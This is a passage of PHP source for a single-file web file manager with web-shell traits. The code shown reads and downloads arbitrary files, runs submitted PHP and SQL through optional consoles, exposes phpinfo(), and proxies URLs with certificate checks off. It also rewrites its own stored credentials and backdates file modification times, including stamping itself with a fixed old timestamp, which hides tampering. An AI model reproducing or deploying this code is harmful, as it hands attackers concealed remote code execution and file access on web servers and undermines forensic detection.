	}	elseif (isset($_POST['fm_config'])) { 
		$fm_config = $_POST['fm_config'];
		setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization']));
		$_COOKIE['fm_config'] = serialize($fm_config);
		$msg_ntimes = __('Settings').' '.__('done');
	}	elseif (isset($_POST['fm_login'])) { 
		if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];
		$fm_login = json_encode($_POST['fm_login']);
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg_ntimes .= __('File updated');
				if ($_POST['fm_login']['login'] != $auth['login']) $msg_ntimes .= ' '.__('Login').': '.$_POST['fm_login']['login'];
				if ($_POST['fm_login']['password'] != $auth['password']) $msg_ntimes .= ' '.__('Password').': '.$_POST['fm_login']['password'];
				$auth = $_POST['fm_login'];
			}
			else $msg_ntimes .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}
	} elseif (isset($_POST['tpl_edited'])) { 
		$lng_tpl = $_POST['tpl_edited'];
		if (!empty($_POST[$lng_tpl.'_name'])) {
			$fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);
		} elseif (!empty($_POST[$lng_tpl.'_new_name'])) {
			$fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
		}
		if (!empty($fm_php)) {
			$fgc = file_get_contents(__FILE__);
			$search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
			if (!empty($matches[1])) {
				$filemtime = filemtime(__FILE__);
				$replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);
				if (file_put_contents(__FILE__, $replace)) {
					${$lng_tpl.'_templates'} = $fm_php;
					$msg_ntimes .= __('File updated');
				} else $msg_ntimes .= __('Error occurred');
				if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
			}	
		} else $msg_ntimes .= __('Error occurred');
	}
}

// Just show image
if (isset($_GET['img'])) {
	$file=base64_decode($_GET['img']);
	if ($info=getimagesize($file)){
		switch  ($info[2]){	//1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP
			case 1: $ext='gif'; break;
			case 2: $ext='jpeg'; break;
			case 3: $ext='png'; break;
			case 6: $ext='bmp'; break;
			default: die();
		}
		header("Content-type: image/$ext");
		echo file_get_contents($file);
		die();
	}
}

// Just download file
if (isset($_GET['download'])) {
	$file=base64_decode($_GET['download']);
	fm_download($file);	
}

// Just show info
if (isset($_GET['phpinfo'])) {
	phpinfo(); 
	die();
}

// Mini proxy, many bugs!
if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) {
	$url = isset($_GET['url'])?urldecode($_GET['url']):'';
	$proxy_form = '
<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #e4f5fc 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">
	<form action="" method="GET">
	<input type="hidden" name="proxy" value="true">
	'.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55">
	<input type="submit" value="'.__('Show').'" class="fm_input">
	</form>
</div>
';
	if ($url) {
		$ch = curl_init($url);
		curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
		curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
		curl_setopt($ch, CURLOPT_HEADER, 0);
		curl_setopt($ch, CURLOPT_REFERER, $url);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
		$result = curl_exec($ch);
		curl_close($ch);
		//$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);
		$result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);
		$result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result);
		echo $result;
		die();
	} 
}
?>
<!doctype html>
<html>
<head>     
	<meta charset="utf-8" />
	<meta name="viewport" content="width=device-width, initial-scale=1" />
    <title></title>
<style>
body {
	background-color:	white;
	font-family:		Verdana, Arial, Helvetica, sans-serif;
	font-size:			8pt;
	margin:				0px;
}

a:link, a:active, a:visited { color: #006699; text-decoration: none; }
a:hover { color: #DD6900; text-decoration: underline; }
a.th:link { color: #FFA34F; text-decoration: none; }
a.th:active { color: #FFA34F; text-decoration: none; }
a.th:visited { color: #FFA34F; text-decoration: none; }
a.th:hover {  color: #FFA34F; text-decoration: underline; }

table.bg {
	background-color: #ACBBC6
}

th, td { 
	font:	normal 8pt Verdana, Arial, Helvetica, sans-serif;
	padding: 3px;
}

th	{
	height:				25px;
	background-color:	#006699;
	color:				#FFA34F;
	font-weight:		bold;
	font-size:			11px;
}

.row1 {
	background-color:	#EFEFEF;
}

.row2 {
	background-color:	#DEE3E7;
}

.row3 {
	background-color:	#D1D7DC;
	padding: 5px;
}

tr.row1:hover {
	background-color:	#F3FCFC;
}

tr.row2:hover {
	background-color:	#F0F6F6;
}

.whole {
	width: 100%;
}

.all tbody td:first-child{width:100%;}

textarea {
	font: 9pt 'Courier New', courier;
	line-height: 125%;
	padding: 5px;
}

.textarea_input {
	height: 1em;
}

.textarea_input:focus {
	height: auto;
}

input[type=submit]{
	background: #FCFCFC none !important;
	cursor: pointer;
}

.folder {
    background-image: url("data:image/png;base64,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");
}

.file {
    background-image: url("data:image/png;base64,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");
}
<?=fm_home_style()?>
.img {
	background-image: 
url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=");
}
@media screen and (max-width:720px){
  table{display:block;}
    #fm_table td{display:inline;float:left;}
    #fm_table tbody td:first-child{width:100%;padding:0;}
    #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}
    #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}
    #fm_table tr{display:block;float:left;clear:left;width:100%;}
	#header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;}
	#header_table table td {display:inline;float:left;}
}
</style>
</head>
<body>
<?php
$url_inc = '?fm=true';
if (isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){
	$res = empty($_POST['sql']) ? '' : $_POST['sql'];
	$res_lng = 'sql';
} elseif (isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){
	$res = empty($_POST['php']) ? '' : $_POST['php'];
	$res_lng = 'php';
} 
if (isset($_GET['fm_settings'])) {
	echo ' 
<table class="whole">
<form method="post" action="">
<tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr>
'.(empty($msg_ntimes)?'':'<tr><td class="row2" colspan="2">'.$msg_ntimes.'</td></tr>').'
'.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').'
'.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').'
'.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').'
'.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').'
'.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').'
'.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').'
'.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').'
'.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').'
'.fm_config_checkbox_row(__('Show').' xls','show_xls').'
'.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').'
'.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').'
<tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fm_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr>
<tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fm_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr>
<tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fm_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr>
<tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fm_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr>
'.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').'
'.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').'
'.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').'
'.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').'
'.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').'
<tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr>
</form>
</table>
<table>
<form method="post" action="">
<tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr>
<tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr>
<tr><td class="row1"><input name="fm_login[login]" value="'.$auth['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr>
<tr><td class="row1"><input name="fm_login[password]" value="'.$auth['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr>
<tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr>
<tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr>
<tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr>
</form>
</table>';
echo fm_tpl_form('php'),fm_tpl_form('sql');
} elseif (isset($proxy_form)) {
	die($proxy_form);
} elseif (isset($res_lng)) {	
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>

</table>
<?php
	if (!empty($res)) {
		$fun='fm_'.$res_lng;
		echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>';
	}
} elseif (!empty($_REQUEST['edit'])){
	if(!empty($_REQUEST['save'])) {
		$fn = $path . $_REQUEST['edit'];
		$filemtime = filemtime($fn);
	    if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg_ntimes .= __('File updated');
		else $msg_ntimes .= __('Error occurred');
		if ($_GET['edit']==basename(__FILE__)) {
			touch(__FILE__,1415116371);
		} else {
			if (!empty($fm_config['restore_time'])) touch($fn,$filemtime);
		}
	}
    $oldcontent = @file_get_contents($path . $_REQUEST['edit']);
    $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path;
